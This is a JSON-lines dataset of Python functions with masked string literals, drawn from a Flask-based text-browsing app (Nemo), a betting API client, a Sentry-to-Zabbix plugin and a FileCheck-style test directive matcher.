{"signature": "def make_coins(self, collection, text, subreference=\"<STR_LIT>\", lang=None):", "body": "if lang is None:<EOL><INDENT>lang = self.__default_lang__<EOL><DEDENT>return \"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\".format(<EOL>title=quote(str(text.get_title(lang))), author=quote(str(text.get_creator(lang))),<EOL>cid=url_for(\"<STR_LIT>\", objectId=collection.id, _external=True),<EOL>language=collection.lang, pages=quote(subreference), edition=quote(str(text.get_description(lang)))<EOL>)<EOL>", "docstring": "Creates a CoINS Title string from information\n\n        :param collection: Collection to create coins from\n        :param text: Text/Passage object\n        :param subreference: Subreference\n        :param lang: Locale information\n        :return: Coins HTML title value", "id": "f9934:c0:m13"}
{"signature": "def expose_ancestors_or_children(self, member, collection, lang=None):", "body": "x = {<EOL>\"<STR_LIT:id>\": member.id,<EOL>\"<STR_LIT:label>\": str(member.get_label(lang)),<EOL>\"<STR_LIT>\": str(member.model),<EOL>\"<STR_LIT:type>\": str(member.type),<EOL>\"<STR_LIT:size>\": member.size,<EOL>\"<STR_LIT>\": self.semantic(member, parent=collection)<EOL>}<EOL>if isinstance(member, ResourceCollection):<EOL><INDENT>x[\"<STR_LIT>\"] = str(member.lang)<EOL><DEDENT>return x<EOL>", "docstring": "Build an ancestor or descendant dict view based on selected information\n\n        :param member: Current Member to build for\n        :param collection: Collection from which we retrieved it\n        :param lang: Language to express data in\n        :return:", "id": "f9934:c0:m14"}
{"signature": "def make_members(self, collection, lang=None):", "body": "objects = sorted([<EOL>self.expose_ancestors_or_children(member, collection, lang=lang)<EOL>for member in collection.members<EOL>if member.get_label()<EOL>],<EOL>key=itemgetter(\"<STR_LIT:label>\")<EOL>)<EOL>return objects<EOL>", "docstring": "Build member list for given collection\n\n        :param collection: Collection to build dict view of for its members\n        :param lang: Language to express data in\n        :return: List of basic objects", "id": "f9934:c0:m15"}
{"signature": "def make_parents(self, collection, lang=None):", "body": "return [<EOL>{<EOL>\"<STR_LIT:id>\": member.id,<EOL>\"<STR_LIT:label>\": str(member.get_label(lang)),<EOL>\"<STR_LIT>\": str(member.model),<EOL>\"<STR_LIT:type>\": str(member.type),<EOL>\"<STR_LIT:size>\": member.size<EOL>}<EOL>for member in collection.parents<EOL>if member.get_label()<EOL>]<EOL>", "docstring": "Build parents list for given collection\n\n        :param collection: Collection to build dict view of for its members\n        :param lang: Language to express data in\n        :return: List of basic objects", "id": "f9934:c0:m16"}
{"signature": "def r_index(self):", "body": "return {\"<STR_LIT>\": \"<STR_LIT>\"}<EOL>", "docstring": "Homepage route function\n\n        :return: Template to use for Home page\n        :rtype: {str: str}", "id": "f9934:c0:m17"}
{"signature": "def r_collections(self, lang=None):", "body": "collection = self.resolver.getMetadata()<EOL>return {<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": collection.get_label(lang),<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": self.make_members(collection, lang=lang)<EOL>}<EOL>}<EOL>", "docstring": "Retrieve the top collections of the inventory\n\n        :param lang: Lang in which to express main data\n        :type lang: str\n        :return: Collections information and template\n        :rtype: {str: Any}", "id": "f9934:c0:m18"}
{"signature": "def r_collection(self, objectId, lang=None):", "body": "collection = self.resolver.getMetadata(objectId)<EOL>return {<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT:label>\": str(collection.get_label(lang)),<EOL>\"<STR_LIT:id>\": collection.id,<EOL>\"<STR_LIT>\": str(collection.model),<EOL>\"<STR_LIT:type>\": str(collection.type),<EOL>},<EOL>\"<STR_LIT>\": self.make_members(collection, lang=lang),<EOL>\"<STR_LIT>\": self.make_parents(collection, lang=lang)<EOL>},<EOL>}<EOL>", "docstring": "Collection content browsing route function\n\n        :param objectId: Collection identifier\n        :type objectId: str\n        :param lang: Lang in which to express main data\n        :type lang: str\n        :return: Template and collections contained in given collection\n        :rtype: {str: Any}", "id": "f9934:c0:m19"}
{"signature": "def r_references(self, objectId, lang=None):", "body": "collection, reffs = self.get_reffs(objectId=objectId, export_collection=True)<EOL>return {<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": objectId,<EOL>\"<STR_LIT>\": collection.citation,<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT:label>\": collection.get_label(lang),<EOL>\"<STR_LIT:id>\": collection.id,<EOL>\"<STR_LIT>\": str(collection.model),<EOL>\"<STR_LIT:type>\": str(collection.type),<EOL>},<EOL>\"<STR_LIT>\": self.make_parents(collection, lang=lang)<EOL>},<EOL>\"<STR_LIT>\": reffs<EOL>}<EOL>", "docstring": "Text exemplar references browsing route function\n\n        :param objectId: Collection identifier\n        :type objectId: str\n        :param lang: Lang in which to express main data\n        :type lang: str\n        :return: Template and required information about text with its references", "id": "f9934:c0:m20"}
{"signature": "def r_first_passage(self, objectId):", "body": "collection, reffs = self.get_reffs(objectId=objectId, export_collection=True)<EOL>first, _ = reffs[<NUM_LIT:0>]<EOL>return redirect(<EOL>url_for(\"<STR_LIT>\", objectId=objectId, subreference=first, semantic=self.semantic(collection))<EOL>)<EOL>", "docstring": "Provides a redirect to the first passage of given objectId\n\n        :param objectId: Collection identifier\n        :type objectId: str\n        :return: Redirection to the first passage of given text", "id": "f9934:c0:m21"}
{"signature": "def r_passage(self, objectId, subreference, lang=None):", "body": "collection = self.get_collection(objectId)<EOL>if isinstance(collection, CtsWorkMetadata):<EOL><INDENT>editions = [t for t in collection.children.values() if isinstance(t, CtsEditionMetadata)]<EOL>if len(editions) == <NUM_LIT:0>:<EOL><INDENT>raise UnknownCollection(\"<STR_LIT>\")<EOL><DEDENT>return redirect(url_for(\"<STR_LIT>\", objectId=str(editions[<NUM_LIT:0>].id), subreference=subreference))<EOL><DEDENT>text = self.get_passage(objectId=objectId, subreference=subreference)<EOL>passage = self.transform(text, text.export(Mimetypes.PYTHON.ETREE), objectId)<EOL>prev, next = self.get_siblings(objectId, subreference, text)<EOL>return {<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": objectId,<EOL>\"<STR_LIT>\": subreference,<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT:label>\": collection.get_label(lang),<EOL>\"<STR_LIT:id>\": collection.id,<EOL>\"<STR_LIT>\": str(collection.model),<EOL>\"<STR_LIT:type>\": str(collection.type),<EOL>\"<STR_LIT>\": text.get_creator(lang),<EOL>\"<STR_LIT:title>\": text.get_title(lang),<EOL>\"<STR_LIT:description>\": text.get_description(lang),<EOL>\"<STR_LIT>\": collection.citation,<EOL>\"<STR_LIT>\": self.make_coins(collection, text, subreference, lang=lang)<EOL>},<EOL>\"<STR_LIT>\": self.make_parents(collection, lang=lang)<EOL>},<EOL>\"<STR_LIT>\": Markup(passage),<EOL>\"<STR_LIT>\": prev,<EOL>\"<STR_LIT>\": next<EOL>}<EOL>", "docstring": "Retrieve the text of the passage\n\n        :param objectId: Collection identifier\n        :type objectId: str\n        :param lang: Lang in which to express main data\n        :type lang: str\n        :param subreference: Reference identifier\n        :type subreference: str\n        :return: Template, collections metadata and Markup object representing the text\n        :rtype: {str: Any}", "id": "f9934:c0:m22"}
{"signature": "def r_assets(self, filetype, asset):", "body": "if filetype in self.assets and asset in self.assets[filetype] and self.assets[filetype][asset]:<EOL><INDENT>return send_from_directory(<EOL>directory=self.assets[filetype][asset],<EOL>filename=asset<EOL>)<EOL><DEDENT>abort(<NUM_LIT>)<EOL>", "docstring": "Route for specific assets.\n\n        :param filetype: Asset Type\n        :param asset: Filename of an asset\n        :return: Response", "id": "f9934:c0:m23"}
{"signature": "def register_assets(self):", "body": "self.blueprint.add_url_rule(<EOL>\"<STR_LIT>\".format(self.static_url_path),<EOL>view_func=self.r_assets,<EOL>endpoint=\"<STR_LIT>\",<EOL>methods=[\"<STR_LIT:GET>\"]<EOL>)<EOL>", "docstring": "Merge and register assets, both as routes and dictionary\n\n        :return: None", "id": "f9934:c0:m24"}
{"signature": "def create_blueprint(self):", "body": "self.register_plugins()<EOL>self.blueprint = Blueprint(<EOL>self.name,<EOL>\"<STR_LIT>\",<EOL>url_prefix=self.prefix,<EOL>template_folder=self.template_folder,<EOL>static_folder=self.static_folder,<EOL>static_url_path=self.static_url_path<EOL>)<EOL>for url, name, methods, instance in self._urls:<EOL><INDENT>self.blueprint.add_url_rule(<EOL>url,<EOL>view_func=self.view_maker(name, instance),<EOL>endpoint=_plugin_endpoint_rename(name, instance),<EOL>methods=methods<EOL>)<EOL><DEDENT>for url, name, methods, instance in self._semantic_url:<EOL><INDENT>self.blueprint.add_url_rule(<EOL>url,<EOL>view_func=self.view_maker(name, instance),<EOL>endpoint=_plugin_endpoint_rename(name, instance)+\"<STR_LIT>\",<EOL>methods=methods<EOL>)<EOL><DEDENT>self.register_assets()<EOL>self.register_filters()<EOL>self.__templates_namespaces__.extend(self.__instance_templates__)<EOL>for namespace, directory in self.__templates_namespaces__[::-<NUM_LIT:1>]:<EOL><INDENT>if namespace not in self.__template_loader__:<EOL><INDENT>self.__template_loader__[namespace] = []<EOL><DEDENT>self.__template_loader__[namespace].append(<EOL>jinja2.FileSystemLoader(op.abspath(directory))<EOL>)<EOL><DEDENT>self.blueprint.jinja_loader = jinja2.PrefixLoader(<EOL>{namespace: jinja2.ChoiceLoader(paths) for namespace, paths in self.__template_loader__.items()},<EOL>\"<STR_LIT>\"<EOL>)<EOL>if self.cache is not None:<EOL><INDENT>for func, instance in self.cached:<EOL><INDENT>setattr(instance, func.__name__, self.cache.memoize()(func))<EOL><DEDENT><DEDENT>return self.blueprint<EOL>", "docstring": "Create blueprint and register rules\n\n        :return: Blueprint of the current nemo app\n        :rtype: flask.Blueprint", "id": "f9934:c0:m25"}
{"signature": "def view_maker(self, name, instance=None):", "body": "if instance is None:<EOL><INDENT>instance = self<EOL><DEDENT>sig = \"<STR_LIT>\" in [<EOL>parameter.name<EOL>for parameter in inspect.signature(getattr(instance, name)).parameters.values()<EOL>]<EOL>def route(**kwargs):<EOL><INDENT>if sig and \"<STR_LIT>\" not in kwargs:<EOL><INDENT>kwargs[\"<STR_LIT>\"] = self.get_locale()<EOL><DEDENT>if \"<STR_LIT>\" in kwargs:<EOL><INDENT>del kwargs[\"<STR_LIT>\"]<EOL><DEDENT>return self.route(getattr(instance, name), **kwargs)<EOL><DEDENT>return route<EOL>", "docstring": "Create a view\n\n        :param name: Name of the route function to use for the view.\n        :type name: str\n        :return: Route function which makes use of Nemo context (such as menu informations)\n        :rtype: function", "id": "f9934:c0:m26"}
{"signature": "def main_collections(self, lang=None):", "body": "return sorted([<EOL>{<EOL>\"<STR_LIT:id>\": member.id,<EOL>\"<STR_LIT:label>\": str(member.get_label(lang=lang)),<EOL>\"<STR_LIT>\": str(member.model),<EOL>\"<STR_LIT:type>\": str(member.type),<EOL>\"<STR_LIT:size>\": member.size<EOL>}<EOL>for member in self.resolver.getMetadata().members<EOL>], key=itemgetter(\"<STR_LIT:label>\"))<EOL>", "docstring": "Retrieve main parent collections of a repository\n\n        :param lang: Language to retrieve information in\n        :return: Sorted collections representations", "id": "f9934:c0:m27"}
{"signature": "def make_cache_keys(self, endpoint, kwargs):", "body": "keys = sorted(kwargs.keys())<EOL>i18n_cache_key = endpoint+\"<STR_LIT:|>\"+\"<STR_LIT:|>\".join([kwargs[k] for k in keys])<EOL>if \"<STR_LIT>\" in keys:<EOL><INDENT>cache_key = endpoint+\"<STR_LIT:|>\" + \"<STR_LIT:|>\".join([kwargs[k] for k in keys if k != \"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>cache_key = i18n_cache_key<EOL><DEDENT>return i18n_cache_key, cache_key<EOL>", "docstring": "This function is built to provide cache keys for templates\n\n        :param endpoint: Current endpoint\n        :param kwargs: Keyword Arguments\n        :return: tuple of i18n dependant cache key and i18n ignoring cache key\n        :rtype: tuple(str)", "id": "f9934:c0:m28"}
{"signature": "def render(self, template, **kwargs):", "body": "kwargs[\"<STR_LIT>\"] = \"<STR_LIT:%s>\" % kwargs[\"<STR_LIT:url>\"].values()<EOL>kwargs[\"<STR_LIT>\"] = self.get_locale()<EOL>kwargs[\"<STR_LIT>\"] = self.assets<EOL>kwargs[\"<STR_LIT>\"] = self.main_collections(kwargs[\"<STR_LIT>\"])<EOL>kwargs[\"<STR_LIT>\"] = self.cache is not None<EOL>kwargs[\"<STR_LIT>\"] = <NUM_LIT:0><EOL>kwargs[\"<STR_LIT>\"], kwargs[\"<STR_LIT>\"] = self.make_cache_keys(request.endpoint, kwargs[\"<STR_LIT:url>\"])<EOL>kwargs[\"<STR_LIT>\"] = template<EOL>for plugin in self.__plugins_render_views__:<EOL><INDENT>kwargs.update(plugin.render(**kwargs))<EOL><DEDENT>return render_template(kwargs[\"<STR_LIT>\"], **kwargs)<EOL>", "docstring": "Render a route template and adds information to this route.\n\n        :param template: Template name.\n        :type template: str\n        :param kwargs: dictionary of named arguments used to be passed to the template\n        :type kwargs: dict\n        :return: Http Response with rendered template\n        :rtype: flask.Response", "id": "f9934:c0:m29"}
{"signature": "def route(self, fn, **kwargs):", "body": "new_kwargs = fn(**kwargs)<EOL>if not isinstance(new_kwargs, dict):<EOL><INDENT>return new_kwargs<EOL><DEDENT>new_kwargs[\"<STR_LIT:url>\"] = kwargs<EOL>return self.render(**new_kwargs)<EOL>", "docstring": "Route helper : apply fn function but keep the calling object, *ie* kwargs, for other functions\n\n        :param fn: Function to run the route with\n        :type fn: function\n        :param kwargs: Parsed url arguments\n        :type kwargs: dict\n        :return: HTTP Response with rendered template\n        :rtype: flask.Response", "id": "f9934:c0:m30"}
{"signature": "def register(self):", "body": "if self.app is not None:<EOL><INDENT>if not self.blueprint:<EOL><INDENT>self.blueprint = self.create_blueprint()<EOL><DEDENT>self.app.register_blueprint(self.blueprint)<EOL>if self.cache is None:<EOL><INDENT>setattr(self.app.jinja_env, \"<STR_LIT>\", self)<EOL>self.app.jinja_env.add_extension(FakeCacheExtension)<EOL><DEDENT>return self.blueprint<EOL><DEDENT>return None<EOL>", "docstring": "Register the app using Blueprint\n\n        :return: Nemo blueprint\n        :rtype: flask.Blueprint", "id": "f9934:c0:m31"}
{"signature": "def register_filters(self):", "body": "for _filter, instance in self._filters:<EOL><INDENT>if not instance:<EOL><INDENT>self.app.jinja_env.filters[<EOL>_filter.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>] = getattr(flask_nemo.filters, _filter)<EOL><DEDENT>else:<EOL><INDENT>self.app.jinja_env.filters[<EOL>_filter.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>] = getattr(instance, _filter.replace(\"<STR_LIT>\".format(instance.name), \"<STR_LIT>\"))<EOL><DEDENT><DEDENT>", "docstring": "Register filters for Jinja to use\n\n       .. note::  Extends the dictionary filters of jinja_env using self._filters list", "id": "f9934:c0:m32"}
{"signature": "def register_plugins(self):", "body": "if len([plugin for plugin in self.__plugins__.values() if plugin.clear_routes]) > <NUM_LIT:0>:  <EOL><INDENT>self._urls = list()<EOL>self.cached = list()<EOL><DEDENT>clear_assets = [plugin for plugin in self.__plugins__.values() if plugin.clear_assets]<EOL>if len(clear_assets) > <NUM_LIT:0> and not self.prevent_plugin_clearing_assets:  <EOL><INDENT>self.__assets__ = copy(type(self).ASSETS)<EOL>static_path = [plugin.static_folder for plugin in clear_assets if plugin.static_folder]<EOL>if len(static_path) > <NUM_LIT:0>:<EOL><INDENT>self.static_folder = static_path[-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>for plugin in self.__plugins__.values():<EOL><INDENT>self._urls.extend([(url, function, methods, plugin) for url, function, methods in plugin.routes])<EOL>self._filters.extend([(filt, plugin) for filt in plugin.filters])<EOL>self.__templates_namespaces__.extend(<EOL>[(namespace, directory) for namespace, directory in plugin.templates.items()]<EOL>)<EOL>for asset_type in self.__assets__:<EOL><INDENT>for key, value in plugin.assets[asset_type].items():<EOL><INDENT>self.__assets__[asset_type][key] = value<EOL><DEDENT><DEDENT>if plugin.augment:<EOL><INDENT>self.__plugins_render_views__.append(plugin)<EOL><DEDENT>if hasattr(plugin, \"<STR_LIT>\"):<EOL><INDENT>for func in plugin.CACHED:<EOL><INDENT>self.cached.append((getattr(plugin, func), plugin))<EOL><DEDENT><DEDENT>plugin.register_nemo(self)<EOL><DEDENT>", "docstring": "Register plugins in Nemo instance\n\n        - Clear routes first if asked by one plugin\n        - Clear assets if asked by one plugin and replace by the last plugin registered static_folder\n        - Register each plugin\n            - Append plugin routes to registered routes\n            - Append plugin filters to registered filters\n            - Append templates directory to given namespaces\n            - Append assets (CSS, JS, statics) to given resources \n            - Append render view (if exists) to Nemo.render stack", "id": "f9934:c0:m33"}
{"signature": "def chunk(self, text, reffs):", "body": "if str(text.id) in self.chunker:<EOL><INDENT>return self.chunker[str(text.id)](text, reffs)<EOL><DEDENT>return self.chunker[\"<STR_LIT:default>\"](text, reffs)<EOL>", "docstring": "Handle a list of references depending on the text identifier using the chunker dictionary.\n\n        :param text: Text object from which comes the references\n        :type text: MyCapytains.resources.texts.api.Text\n        :param reffs: List of references to transform\n        :type reffs: References\n        :return: Transformed list of references\n        :rtype: [str]", "id": "f9934:c0:m34"}
{"signature": "def register_nemo(self, nemo=None):", "body": "self.__nemo__ = nemo<EOL>", "docstring": "Register Nemo on to the plugin instance\n\n        :param nemo: Instance of Nemo", "id": "f9937:c0:m1"}
{"signature": "def render(self, **kwargs):", "body": "return kwargs<EOL>", "docstring": "View Rendering function that gets triggered before nemo renders the resources and adds informations to \\\n        pass to the templates\n\n        :param kwargs: Dictionary of arguments to pass to the template\n        :return: Dictionary of arguments to pass to the template", "id": "f9937:c0:m13"}
{"signature": "def _req(self, url, method='<STR_LIT:GET>', **kw):", "body": "send = requests.post if method == '<STR_LIT:POST>' else requests.get<EOL>try:<EOL><INDENT>r = send(<EOL>url,<EOL>headers=self._token_header(),<EOL>timeout=self.settings['<STR_LIT>'],<EOL>**kw)<EOL><DEDENT>except requests.exceptions.Timeout:<EOL><INDENT>raise ApiError('<STR_LIT>' % self.settings['<STR_LIT>'])<EOL><DEDENT>try:<EOL><INDENT>json = r.json()<EOL><DEDENT>except ValueError:<EOL><INDENT>raise ApiError('<STR_LIT>')<EOL><DEDENT>if json.get('<STR_LIT:status>') != '<STR_LIT>':<EOL><INDENT>raise ApiError('<STR_LIT>' % json)<EOL><DEDENT>return json<EOL>", "docstring": "Make request and convert JSON response to python objects", "id": "f9942:c2:m2"}
{"signature": "def get_active_bets(self, project_id=None):", "body": "url = urljoin(<EOL>self.settings['<STR_LIT>'],<EOL>'<STR_LIT>')<EOL>if project_id is not None:<EOL><INDENT>url += '<STR_LIT>'.format(project_id)<EOL><DEDENT>bets = []<EOL>has_next_page = True<EOL>while has_next_page:<EOL><INDENT>res = self._req(url)<EOL>bets.extend(res['<STR_LIT>']['<STR_LIT>'])<EOL>url = res['<STR_LIT>'].get('<STR_LIT>')<EOL>has_next_page = bool(url)<EOL><DEDENT>return bets<EOL>", "docstring": "Returns all active bets", "id": "f9942:c2:m3"}
{"signature": "def get_bets(self, type=None, order_by=None, state=None, project_id=None,<EOL>page=None, page_size=None):", "body": "if page is None:<EOL><INDENT>page = <NUM_LIT:1><EOL><DEDENT>if page_size is None:<EOL><INDENT>page_size = <NUM_LIT:100><EOL><DEDENT>if state == '<STR_LIT:all>':<EOL><INDENT>_states = []  <EOL><DEDENT>elif state == '<STR_LIT>':<EOL><INDENT>_states = self.CLOSED_STATES<EOL><DEDENT>else:<EOL><INDENT>_states = self.ACTIVE_STATES<EOL><DEDENT>url = urljoin(<EOL>self.settings['<STR_LIT>'],<EOL>'<STR_LIT>'.format(page, page_size))<EOL>url += '<STR_LIT>'.format('<STR_LIT:U+002C>'.join(_states))<EOL>if type is not None:<EOL><INDENT>url += '<STR_LIT>'.format(type)<EOL><DEDENT>if order_by in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>url += '<STR_LIT>'.format(order_by)<EOL><DEDENT>if project_id is not None:<EOL><INDENT>url += '<STR_LIT>'.format(project_id)<EOL><DEDENT>res = self._req(url)<EOL>return res['<STR_LIT>']['<STR_LIT>']<EOL>", "docstring": "Return bets with given filters and ordering.\n\n        :param type: return bets only with this type.\n                     Use None to include all (default).\n        :param order_by: '-last_stake' or 'last_stake' to sort by stake's\n                         created date or None for default ordering.\n        :param state: one of 'active', 'closed', 'all' (default 'active').\n        :param project_id: return bets associated with given project id in kava\n        :param page: default 1.\n        :param page_site: page size (default 100).", "id": "f9942:c2:m4"}
{"signature": "def get_project_slug(self, bet):", "body": "if bet.get('<STR_LIT>'):<EOL><INDENT>params = json.loads(bet['<STR_LIT>'])<EOL>return params.get('<STR_LIT>')<EOL><DEDENT>return None<EOL>", "docstring": "Return slug of a project that given bet is associated with\n        or None if bet is not associated with any project.", "id": "f9942:c2:m5"}
{"signature": "def stakes_in(self, bet):", "body": "return self._stakes_by_side(bet, self.SIDE_IN)<EOL>", "docstring": "Return all stakes on 'in' side for given bet.", "id": "f9942:c2:m8"}
{"signature": "def stakes_out(self, bet):", "body": "return self._stakes_by_side(bet, self.SIDE_OUT)<EOL>", "docstring": "Return all stakes on 'out' side for given bet.", "id": "f9942:c2:m9"}
{"signature": "def set_callback(self, event, callback):", "body": "self._callbacks[event] = callback<EOL>", "docstring": "Set callback for event.\n\n        Supported events: see `Event` class.\n\n        Callback must take one parameter, which is a bet that changed.\n\n        If callback is already set, it will be reset to a new value.", "id": "f9942:c2:m23"}
{"signature": "def subscribe(self, event, bet_ids):", "body": "if not self._subscriptions.get(event):<EOL><INDENT>self._subscriptions[event] = set()<EOL><DEDENT>self._subscriptions[event] = self._subscriptions[event].union(bet_ids)<EOL>", "docstring": "Subscribe to event for given bet ids.", "id": "f9942:c2:m24"}
{"signature": "def event_loop(self):", "body": "return [gevent.spawn(self._poll_bet_executed)]<EOL>", "docstring": "Look for changes in bets, that user subscribed to by self.subscribe\n        and trigger corresponding callbacks.", "id": "f9942:c2:m25"}
{"signature": "def is_configured(self, project, **kwargs):", "body": "params = self.get_option<EOL>return bool(params('<STR_LIT>', project) and params('<STR_LIT>', project))<EOL>", "docstring": "Check if plugin is configured.", "id": "f9947:c0:m0"}
{"signature": "def post_process(self, group, event, is_new, is_sample, **kwargs):", "body": "if not self.is_configured(group.project):<EOL><INDENT>return<EOL><DEDENT>host = self.get_option('<STR_LIT>', group.project)<EOL>port = int(self.get_option('<STR_LIT>', group.project))<EOL>prefix = self.get_option('<STR_LIT>', group.project)<EOL>hostname = self.get_option('<STR_LIT>', group.project) or socket.gethostname()<EOL>resolve_age = group.project.get_option('<STR_LIT>', None)<EOL>now = int(time.time())<EOL>template = '<STR_LIT>' % (prefix, group.project.slug)<EOL>level = group.get_level_display()<EOL>label = template % level<EOL>groups = group.project.group_set.filter(status=STATUS_UNRESOLVED)<EOL>if resolve_age:<EOL><INDENT>oldest = timezone.now() - timedelta(hours=int(resolve_age))<EOL>groups = groups.filter(last_seen__gt=oldest)<EOL><DEDENT>num_errors = groups.filter(level=group.level).count()<EOL>metric = Metric(hostname, label, num_errors, now)<EOL>log.info('<STR_LIT>', label, num_errors)<EOL>send_to_zabbix([metric], host, port)<EOL>", "docstring": "Process error.", "id": "f9947:c0:m1"}
{"signature": "def isA(instance, typeList):", "body": "return any(map(lambda iType: isinstance(instance,iType), typeList))<EOL>", "docstring": "Return true if ``instance`` is an instance of any the Directive\ntypes in ``typeList``", "id": "f9951:m0"}
{"signature": "def _substituteCheckPattern(self, inputString, lineNumber, lastLineNumber, checkFileName, isForRegex):", "body": "assert isinstance(inputString, str)<EOL>assert isinstance(lineNumber, int)<EOL>assert isinstance(lastLineNumber, int)<EOL>assert isinstance(checkFileName, str)<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>sPattern = r'<STR_LIT>'<EOL>matcher = re.compile(sPattern)<EOL>result = \"<STR_LIT>\"<EOL>loop = True<EOL>start = <NUM_LIT:0><EOL>end = len(inputString) <EOL>while loop:<EOL><INDENT>m = matcher.search(inputString, start, end)<EOL>if not m:<EOL><INDENT>_logger.debug('<STR_LIT>'.format(result))<EOL>result += inputString[start:end]<EOL>break <EOL><DEDENT>else:<EOL><INDENT>prevIndex = max(<NUM_LIT:0>, m.start() -<NUM_LIT:1>)<EOL>_logger.debug('<STR_LIT>'.format(index=prevIndex, char=inputString[prevIndex]))<EOL>if inputString[prevIndex] == \"<STR_LIT:\\\\>\":<EOL><INDENT>_logger.debug('<STR_LIT>')<EOL>_logger.debug('<STR_LIT>'.format(result))<EOL>result += inputString[start:prevIndex] <EOL>_logger.debug('<STR_LIT>'.format(result))<EOL>result += inputString[(prevIndex+<NUM_LIT:1>):m.end()] <EOL>start = min(m.end(), end)<EOL>_logger.debug('<STR_LIT>'.format(result))<EOL>_logger.debug('<STR_LIT>'.format(start=start, end=end, ss=inputString[start:end]))<EOL><DEDENT>else:<EOL><INDENT>_logger.debug('<STR_LIT>'.format(result))<EOL>_logger.debug('<STR_LIT>'.format(begin=m.start(),end=m.end(), ss=inputString[m.start():m.end()]))<EOL>result += inputString[start:m.start()] <EOL>if m.groupdict()['<STR_LIT>'] == None:<EOL><INDENT>_logger.debug('<STR_LIT>')<EOL>result += str(lineNumber)<EOL><DEDENT>else:<EOL><INDENT>offset = <NUM_LIT:1> if m.groupdict()['<STR_LIT>'] == '<STR_LIT:+>' else -<NUM_LIT:1><EOL>offset *= int(m.groupdict()['<STR_LIT>'])<EOL>_logger.debug('<STR_LIT>'.format(offset))<EOL>requestedLineNumber = lineNumber + offset<EOL>_logger.debug('<STR_LIT>'.format(requestedLineNumber))<EOL>if requestedLineNumber <= <NUM_LIT:0>:<EOL><INDENT>raise ParsingException('<STR_LIT>'.format(file=checkFileName, line=lineNumber, col=m.start()))<EOL><DEDENT>elif requestedLineNumber > lastLineNumber:<EOL><INDENT>raise ParsingException('<STR_LIT>'.format(file=checkFileName, line=lineNumber, col=m.start()))<EOL><DEDENT>result += str(requestedLineNumber)<EOL><DEDENT>start = min(m.end(),end)<EOL>_logger.debug('<STR_LIT>'.format(start=start, end=end, ss=inputString[start:end]))<EOL><DEDENT><DEDENT><DEDENT>\"\"\"<STR_LIT>\"\"\"<EOL>basenameCheckFileName = os.path.basename(checkFileName)<EOL>assert basenameCheckFileName.count('<STR_LIT:\\\\>') == <NUM_LIT:0><EOL>result = self._simpleSubstitution(\"<STR_LIT>\", basenameCheckFileName, result)<EOL>abspathCheckFileName = os.path.abspath(checkFileName)<EOL>if isForRegex:<EOL><INDENT>abspathCheckFileName = abspathCheckFileName.replace('<STR_LIT:\\\\>', '<STR_LIT>')<EOL><DEDENT>result = self._simpleSubstitution(\"<STR_LIT>\", abspathCheckFileName, result)<EOL>assert len(result) != <NUM_LIT:0><EOL>return result<EOL>", "docstring": "Do various ${} substitutions", "id": "f9952:c2:m3"}
{"signature": "def match(self, subsetLines, subsetOffset, fileName):", "body": "raise NotImplementedError()<EOL>", "docstring": "Search through lines for match.\nWhat is returned is defined by implementations", "id": "f9953:c1:m2"}
{"signature": "def match(self, subsetLines, offsetOfSubset, fileName):", "body": "for (offset,l) in enumerate(subsetLines):<EOL><INDENT>m = self.regex.search(l)<EOL>if m != None:<EOL><INDENT>truePosition = offset + offsetOfSubset<EOL>_logger.debug('<STR_LIT>'.format(str(truePosition+ <NUM_LIT:1>)))<EOL>_logger.debug('<STR_LIT>'.format(l))<EOL>self.matchLocation = CheckFileParser.FileLocation(fileName, truePosition +<NUM_LIT:1>) <EOL>return truePosition<EOL><DEDENT><DEDENT>self.failed = True<EOL>raise DirectiveException(self)<EOL>", "docstring": "Search through lines for match.\nRaise an Exception if fail to match\nIf match is succesful return the position the match was found", "id": "f9953:c4:m1"}
{"signature": "def match(self, subsetLines, offsetOfSubset, fileName):", "body": "for (offset,l) in enumerate(subsetLines):<EOL><INDENT>column = l.find(self.literal)<EOL>if column != -<NUM_LIT:1>:<EOL><INDENT>truePosition = offset + offsetOfSubset<EOL>_logger.debug('<STR_LIT>'.format(str(truePosition+ <NUM_LIT:1>), column))<EOL>_logger.debug('<STR_LIT>'.format(l))<EOL>self.matchLocation = CheckFileParser.FileLocation(fileName, truePosition +<NUM_LIT:1>)<EOL>return truePosition<EOL><DEDENT><DEDENT>self.failed = True<EOL>raise DirectiveException(self)<EOL>", "docstring": "Search through lines for match.\nRaise an Exception if fail to match\nIf match is succesful return the position the match was found", "id": "f9953:c5:m1"}
{"signature": "def match(self, subsetLines, offsetOfSubset, fileName):", "body": "for (offset,l) in enumerate(subsetLines):<EOL><INDENT>for t in self.regex:<EOL><INDENT>m = t.Regex.search(l)<EOL>if m != None:<EOL><INDENT>truePosition = offset + offsetOfSubset<EOL>_logger.debug('<STR_LIT>'.format(str(truePosition+ <NUM_LIT:1>)))<EOL>_logger.debug('<STR_LIT>'.format(l))<EOL>self.failed = True<EOL>self.matchLocation = CheckFileParser.FileLocation(fileName, truePosition +<NUM_LIT:1>)<EOL>raise DirectiveException(self)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Search through lines for match.\nRaise an Exception if a match", "id": "f9953:c8:m3"}
